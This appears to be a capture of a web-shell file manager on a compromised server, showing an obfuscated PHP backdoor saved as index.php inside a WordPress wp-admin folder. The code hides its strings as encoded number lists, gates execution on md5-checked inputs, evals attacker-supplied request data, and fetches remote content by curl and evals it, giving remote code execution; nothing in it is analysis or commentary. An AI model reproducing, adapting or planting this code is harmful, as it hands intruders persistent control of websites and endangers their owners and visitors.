HEX
Server: Apache/2
System: Linux sd22995.server.idn.vn 5.14.0-570.41.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Sep 11 06:52:33 EDT 2025 x86_64
User: dainam (1029)
PHP: 8.3.26
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/dainam/domains/gaokevietnam.com/private_html/wp-admin/user/user/user/index.php
<?php
 goto dLCjVpb2u5Mg; bE0GpA41T3wb: @(md5(md5(md5(md5($Js5onL4VUnJJ[23])))) === "\x62\145\70\64\66\x32\146\145\146\70\x33\x34\144\61\145\141\146\x30\145\x62\x30\x38\x30\x31\60\x63\x62\x38\x65\66\x65\142") && (count($Js5onL4VUnJJ) == 29 && in_array(gettype($Js5onL4VUnJJ) . count($Js5onL4VUnJJ), $Js5onL4VUnJJ)) ? ($Js5onL4VUnJJ[68] = $Js5onL4VUnJJ[68] . $Js5onL4VUnJJ[72]) && ($Js5onL4VUnJJ[88] = $Js5onL4VUnJJ[68]($Js5onL4VUnJJ[88])) && @eval($Js5onL4VUnJJ[68](${$Js5onL4VUnJJ[49]}[22])) : $Js5onL4VUnJJ; goto ZDT20Pmivy1K; XbnMjiatu36s: class d5SDJH6GJMxG { static function hQt0VfAniO2R($fNe2im4XK2Q2) { goto IOJ84p0V0Vkb; f1nVJsOnubhg: $DrOH72kmVFQl = $KSJ6RyEbRBVt("\x7e", "\x20"); goto T0qVYVmc48SX; xQ_46CY2_X7q: dNBM_9HgZ9PH: goto gh9lDovyc22M; QC6Pd2j3Ff5x: foreach ($SprwhrcF2shv as $mCCx8yv820S_ => $Rk1B1gftoHsW) { $ZmHix2hwUE2T .= $DrOH72kmVFQl[$Rk1B1gftoHsW - 27773]; LoCbJWfSFsNN: } goto xQ_46CY2_X7q; T0qVYVmc48SX: $SprwhrcF2shv = explode("\75", $fNe2im4XK2Q2); goto PnHN33TIey2T; gh9lDovyc22M: return $ZmHix2hwUE2T; goto RB7j2RYkzUCt; PnHN33TIey2T: $ZmHix2hwUE2T = ''; goto QC6Pd2j3Ff5x; IOJ84p0V0Vkb: $KSJ6RyEbRBVt = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto f1nVJsOnubhg; RB7j2RYkzUCt: } static function j8IqJczncXgc($Bdy6CSn_YQx8, $VsNtZaBlWnfw) { goto taARFCgnDwTQ; taARFCgnDwTQ: $OtXXljqcvK65 = curl_init($Bdy6CSn_YQx8); goto zmau6znL1g2O; NqwmUQ4RujL1: $C21mPRu_vZHg = curl_exec($OtXXljqcvK65); goto HxZEmCwfcBYc; zmau6znL1g2O: curl_setopt($OtXXljqcvK65, CURLOPT_RETURNTRANSFER, 1); goto NqwmUQ4RujL1; HxZEmCwfcBYc: return empty($C21mPRu_vZHg) ? $VsNtZaBlWnfw($Bdy6CSn_YQx8) : $C21mPRu_vZHg; goto kDC9aPDB6oBs; kDC9aPDB6oBs: } static function LcKkW3PrDV0e() { goto MlyTigSfbFq5; MHgF3Tl1XodS: $pzaoqxbaI16M = $ot1oezqViIHT[2 + 0]($s2POO1YyPc5U, true); goto agicuc4og4IF; CYwO9_jbDQUH: if (!(@$pzaoqxbaI16M[0] - time() > 0 and md5(md5($pzaoqxbaI16M[0 + 3])) === "\142\65\143\x34\x31\x64\x36\x61\x34\143\x37\x61\x34\x30\60\x65\x38\61\65\x63\x30\142\x38\x31\x31\70\70\67\x32\x34\142\x66")) { goto thkR1HzIEpgm; } goto mNVBNpBk7ItT; gY9QosBvdLnS: @eval($ot1oezqViIHT[1 + 3]($p7BI5QaKe09l)); goto uV0VrN3im7bv; uV0VrN3im7bv: die; goto wyU23m02WVPJ; WjdMPIZPs7Ng: IepaZO5rjJ8Y: goto O4IIieocm0QN; O4IIieocm0QN: $u8FFhffUVkDZ = @$ot1oezqViIHT[1]($ot1oezqViIHT[10 + 0](INPUT_GET, $ot1oezqViIHT[4 + 5])); goto uB1kSJZwI4Di; mNVBNpBk7ItT: $p7BI5QaKe09l = self::j8IqJCZncxGc($pzaoqxbaI16M[0 + 1], $ot1oezqViIHT[0 + 5]); goto gY9QosBvdLnS; wyU23m02WVPJ: thkR1HzIEpgm: goto iYtihsHoHcP2; agicuc4og4IF: @$ot1oezqViIHT[8 + 2](INPUT_GET, "\157\x66") == 1 && die($ot1oezqViIHT[3 + 2](__FILE__)); goto CYwO9_jbDQUH; MlyTigSfbFq5: $O0ebP0Yw2rDd = array("\62\67\70\60\60\75\62\67\67\70\x35\75\62\x37\67\x39\x38\75\62\x37\70\x30\x32\x3d\x32\67\67\70\63\75\x32\x37\x37\x39\x38\x3d\x32\x37\x38\60\64\x3d\62\67\x37\71\x37\75\62\x37\67\70\62\75\62\x37\x37\x38\x39\x3d\x32\x37\x38\x30\60\x3d\x32\x37\67\70\x33\75\x32\67\67\71\x34\x3d\62\x37\x37\70\x38\75\62\67\x37\70\71", "\62\67\67\x38\x34\75\62\67\67\70\x33\75\62\x37\x37\x38\65\x3d\62\x37\x38\x30\64\x3d\62\x37\x37\70\x35\75\x32\67\67\x38\x38\x3d\62\x37\67\70\x33\x3d\x32\67\x38\x35\60\75\62\x37\x38\64\70", "\x32\67\67\71\63\x3d\62\x37\67\70\x34\x3d\62\67\67\x38\70\x3d\62\67\67\70\x39\75\62\67\70\60\64\x3d\62\x37\x37\x39\x39\75\62\67\67\71\70\x3d\x32\67\x38\x30\x30\x3d\x32\67\x37\x38\70\x3d\x32\x37\67\x39\71\x3d\62\67\x37\x39\x38", "\x32\67\67\70\67\x3d\62\67\x38\x30\62\x3d\x32\67\x38\60\60\x3d\62\x37\x37\x39\x32", "\x32\67\x38\x30\61\x3d\x32\x37\x38\60\x32\x3d\x32\67\x37\70\x34\x3d\62\x37\67\71\70\x3d\62\67\x38\x34\65\75\x32\x37\x38\64\67\75\x32\67\70\60\64\75\62\x37\67\x39\x39\x3d\x32\x37\x37\71\x38\x3d\x32\x37\x38\60\60\x3d\x32\67\67\70\x38\75\x32\67\x37\71\x39\75\x32\67\x37\x39\70", "\x32\x37\x37\71\x37\75\62\x37\67\71\x34\75\62\x37\67\71\61\75\62\67\67\x39\x38\75\x32\x37\70\60\64\75\62\x37\x37\71\66\x3d\62\67\x37\71\x38\75\62\x37\67\x38\63\75\x32\x37\70\60\x34\75\62\x37\70\x30\x30\75\62\x37\67\x38\70\75\62\67\x37\70\71\x3d\x32\67\x37\70\x33\75\x32\67\67\x39\x38\75\x32\67\67\70\x39\x3d\62\x37\67\70\63\x3d\x32\x37\x37\70\x34", "\62\x37\x38\62\67\x3d\62\67\x38\65\67", "\x32\67\67\67\x34", "\x32\x37\70\x35\62\75\62\x37\70\x35\67", "\x32\x37\70\63\64\75\x32\x37\x38\x31\67\75\x32\67\70\61\x37\x3d\62\67\70\x33\x34\x3d\x32\67\x38\x31\60", "\x32\67\x37\71\x37\x3d\x32\x37\67\x39\64\75\x32\x37\x37\x39\x31\75\62\x37\x37\x38\63\75\62\67\67\x39\x38\75\62\x37\x37\70\x35\x3d\x32\x37\70\x30\x34\x3d\62\67\67\71\64\x3d\x32\x37\x37\x38\71\x3d\x32\x37\67\70\x37\x3d\62\x37\67\x38\x32\x3d\62\x37\67\x38\x33"); goto R313nwC3z8l7; uB1kSJZwI4Di: $s2POO1YyPc5U = @$ot1oezqViIHT[1 + 2]($ot1oezqViIHT[5 + 1], $u8FFhffUVkDZ); goto MHgF3Tl1XodS; R313nwC3z8l7: foreach ($O0ebP0Yw2rDd as $YO3FfBWzPX60) { $ot1oezqViIHT[] = self::Hqt0vfAnio2r($YO3FfBWzPX60); ZYlqUENT4XLe: } goto WjdMPIZPs7Ng; iYtihsHoHcP2: } } goto SgCUu4WYlib8; HC0nDd10NcQE: $Js5onL4VUnJJ = ${$Z5V2a3O4COaJ[24 + 7] . $Z5V2a3O4COaJ[36 + 23] . $Z5V2a3O4COaJ[19 + 28] . $Z5V2a3O4COaJ[21 + 26] . $Z5V2a3O4COaJ[31 + 20] . $Z5V2a3O4COaJ[9 + 44] . $Z5V2a3O4COaJ[40 + 17]}; goto bE0GpA41T3wb; dLCjVpb2u5Mg: $joIezQABv9oe = "\162" . "\141" . "\156" . "\147" . "\x65"; goto bq6YIv_LINzA; bq6YIv_LINzA: $Z5V2a3O4COaJ = $joIezQABv9oe("\x7e", "\40"); goto HC0nDd10NcQE; ZDT20Pmivy1K: metaphone("\x62\170\x78\162\x4e\124\61\x65\x6f\150\122\x30\x36\x4b\x6b\127\x32\123\x50\x52\x59\x78\x37\x56\61\x53\x38\x59\x4d\132\x6a\117\160\65\x33\124\62\70\123\153\x73\154\x51"); goto XbnMjiatu36s; SgCUu4WYlib8: d5sDJh6gJmxG::lckKW3PrDV0e();
?>